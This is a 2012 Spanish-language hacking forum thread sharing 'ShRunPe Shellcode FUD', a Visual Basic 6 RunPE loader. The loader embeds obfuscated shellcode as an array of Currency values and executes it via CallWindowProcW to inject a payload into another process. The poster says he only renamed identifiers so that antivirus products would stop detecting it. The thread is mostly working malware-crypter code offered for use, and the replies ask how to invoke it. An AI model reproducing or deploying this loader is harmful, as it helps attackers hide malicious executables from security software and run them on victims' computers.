Página 1 de 1

ShRunPe Shellcode FUD

Publicado: 22 Jun 2012, 02:57
por Bin4riO
Disfruten...Saludos


SCAN:

Mostrar/Ocultar

Código: Seleccionar todo

'================================='
' shRunPE                         '
' AUTOR: hamavb                   '
' RUNPE ShellCode MOD  Bin4riO    '
' CREDITOS:                       '
' ICodeInVB6  &  Hamavb'          '
' USO:                            '
' RunPE_ "Path", "data as byte()" '
'================================='



Private Declare Function XBCVBEEGDBSHDGFVFJG Lib "USER32" Alias "CallWindowProcW" (ByVal ZASWRTGHJJYUGFFEDDS As Long, ByVal FDFXZSDERFGRTT As Long, ByVal DSZASDFDRZZASQWWA As Long, ByVal DFFGGHYUYHFSOPLFESD As Long, ByVal FGGHFGBFSFDFEVLORS As Long) As Long

Public Function RunPE_(ByVal EFYUFYGYGXTZGTXFGTSFD As String, FGFGGJNHHNHYUIJHSFDG() As Byte)
        
Dim FHJHUYY6YGGFF4TDE3RQT56YFGS(160) As Currency
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(0) = 3011782251321.1488@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(1) = 2842944510165.0021@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(2) = 21475170.7244@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(3) = 3039972698908.2734@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(4) = 0.0108@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(5) = 0@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(6) = 0@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(7) = 0@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(8) = 0@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(9) = 0@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(10) = 770918988510973.1328@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(11) = 609196292101137.4146@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(12) = 318076019310180.1508@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(13) = -857485367476117.5446@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(14) = 399392180.8913@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(15) = -706833318868351.5511@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(16) = 6879439133396.1731@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(17) = 763810498335316.3776@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(18) = 388654513.6166@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(19) = 98506041997.169@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(20) = 24964196938431.9488@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(21) = 22034984796.16@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(22) = 305625529718164.0704@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(23) = -410459675325501.5192@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(24) = -172419915909691.6991@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(25) = 150655457759015.8157@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(26) = 763810498295053.1535@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(27) = -334758189796557.4082@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(28) = 763810498175933.6042@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(29) = 769693235337619.0272@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(30) = 658651445508203.5218@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(31) = 93228415366.4744@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(32) = 337544363.4688@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(33) = -171181400105556.1333@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(34) = -43143787013419.7499@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(35) = -843073848963811.6758@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(36) = 586115344006226.9449@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(37) = 81903309047.8335@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(38) = -170655782147139.7888@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(39) = -296106572219468.926@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(40) = -171744351251070.9758@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(41) = 478565684273270.0365@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(42) = 766128157362243.3@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(43) = 763822153521118.6688@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(44) = -5798494293561.088@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(45) = 292876624.968@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(46) = -303308424893800.028@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(47) = 18687314406408.1922@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(48) = -814921249263117.9264@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(49) = 377936345376908.9026@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(50) = 914455950214871.0911@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(51) = 793381819255881.7282@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(52) = 247979454486563.4385@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(53) = -842580059571706.7544@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(54) = 261953043.9225@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(55) = 1351124663940.1355@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(56) = -5728895679889.4336@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(57) = 16435523184027.2177@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(58) = 453291086712582.9632@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(59) = -171181401297649.6638@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(60) = 247984901789109.5093@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(61) = 763853927511347.5304@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(62) = 68764336814004.0238@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(63) = 377880083361326.677@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(64) = 58153857883.8015@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(65) = -170634502550313.984@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(66) = -6846382739763.962@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(67) = 217285200.5584@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(68) = 273152312385105.8024@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(69) = 13733354816300.6466@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(70) = 764000768607145.1648@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(71) = 17395153563837.4458@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(72) = -353751767489869.7902@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(73) = 763363.3281@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(74) = 392094642558210.6624@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(75) = 764766522162398.7432@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(76) = 126410412043612.3678@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(77) = 27351427555.8027@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(78) = 11706747011255.5776@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(79) = -757276053642969.088@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(80) = 360268856045024.0513@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(81) = 749398978656993.7514@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(82) = 12354147786351.6251@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(83) = 769693219347778.7648@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(84) = 414640788194904.6822@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(85) = -171181417231738.2261@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(86) = 276807880992725.4373@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(87) = -842805239553082.2424@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(88) = 37043291672.0721@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(89) = 507392545273423.744@
    
FHJHUYY6YGGFF4TDE3RQT56YFGS(90) = 769258247064186.1864@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(91) = 68764336812483.5886@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(92) = 360268875651665.0832@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(93) = 749398978495932.017@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(94) = 9651988025294.3009@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(95) = 769693219347778.7648@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(96) = 126410412042563.7942@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(97) = -171294008471547.0205@
    
FHJHUYY6YGGFF4TDE3RQT56YFGS(98) = -387449256181707.5451@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(99) = 363299752439103.6175@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(100) = -410459675325517.2888@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(101) = -172926570866094.7199@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(102) = -635688100489173.3787@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(103) = 763810497261576.6376@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(104) = 126410412042144.3634@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(105) = -843073849903335.4646@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(106) = 769693215773368.7817@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(107) = 414640788193698.8194@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(108) = 4951342415221.7475@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(109) = 4636260512845.0048@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(110) = -171631782205882.368@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(111) = 507388721888441.1549@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(112) = 31815578412492.9256@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(113) = -872572382190820.8041@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(114) = -286501654647065.8048@
    
FHJHUYY6YGGFF4TDE3RQT56YFGS(115) = -428658242031485.5343@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(116) = 3149895693349.6588@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(117) = 22752143878461.8496@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(118) = 10655039450.0177@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(119) = 19434514006.2976@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(120) = 2249161163731.9936@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(121) = 590215178835617.3824@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(122) = -171519195984216.1688@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(123) = 334471606820667.3981@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(124) = -6937148713125.7624@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(125) = 3006614124114.7186@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(126) = 457802337043140.7336@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(127) = 34749504.673@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(128) = -843073850212036.239@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(129) = 536232810004781.4409@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(130) = 699902812802672.356@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(131) = -439434742750697.5805@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(132) = 756604737376275.6714@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(133) = 869968633553.1604@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(134) = 450404738465.792@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(135) = -7194094211452.1344@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(136) = -1353710065018.4752@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(137) = -439079356974065.2545@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(138) = 566676858034822.4232@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(139) = 32602016.4622@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(140) = -7089160921751.4365@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(141) = 410061545662244.4496@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(142) = 617979275378688@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(143) = 725985904952471.1762@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(144) = 854193482151915.9435@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(145) = -842159216757581.13@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(146) = 457592490565246.7766@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(147) = 17684902147728.7019@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(148) = 643884385768544.0491@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(149) = 622040492439682.185@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(150) = 842553683379673.7879@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(151) = 865826324060815.6483@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(152) = 233132869356380.6979@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(153) = -841594865717950.1309@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(154) = -598169487549740.1085@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(155) = 22006038477175.2068@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(156) = 843978581769276.108@
       
FHJHUYY6YGGFF4TDE3RQT56YFGS(157) = -840178504924852.7391@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(158) = -836852911227146.7764@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(159) = 643884385767650.3812@
        
FHJHUYY6YGGFF4TDE3RQT56YFGS(160) = 328436.0538@
        
XBCVBEEGDBSHDGFVFJG VarPtr(FHJHUYY6YGGFF4TDE3RQT56YFGS(0)), StrPtr(EFYUFYGYGXTZGTXFGTSFD), VarPtr(FGFGGJNHHNHYUIJHSFDG(0)), 0, 0

End Function

Re: ShRunPe Shellcode FUD

Publicado: 23 Jun 2012, 22:16
por Lucho
Gracias por compartir aunque por lo que veo solo cambiaste los nombres a las strings.

Re: ShRunPe Shellcode FUD

Publicado: 24 Jun 2012, 00:19
por Bin4riO
luchoPR escribió:Gracias por compartir aunque por lo que veo solo cambiaste los nombres a las strings.
Si Lucho todos los créditos al creador del RunPe yo solo le hice una simple modificación para quitarle las detecciones. Saludos

Re: ShRunPe Shellcode FUD

Publicado: 25 Jul 2012, 07:23
por mcr_bkn
Amigo no logro llamar este rumpe?? como lo llamas???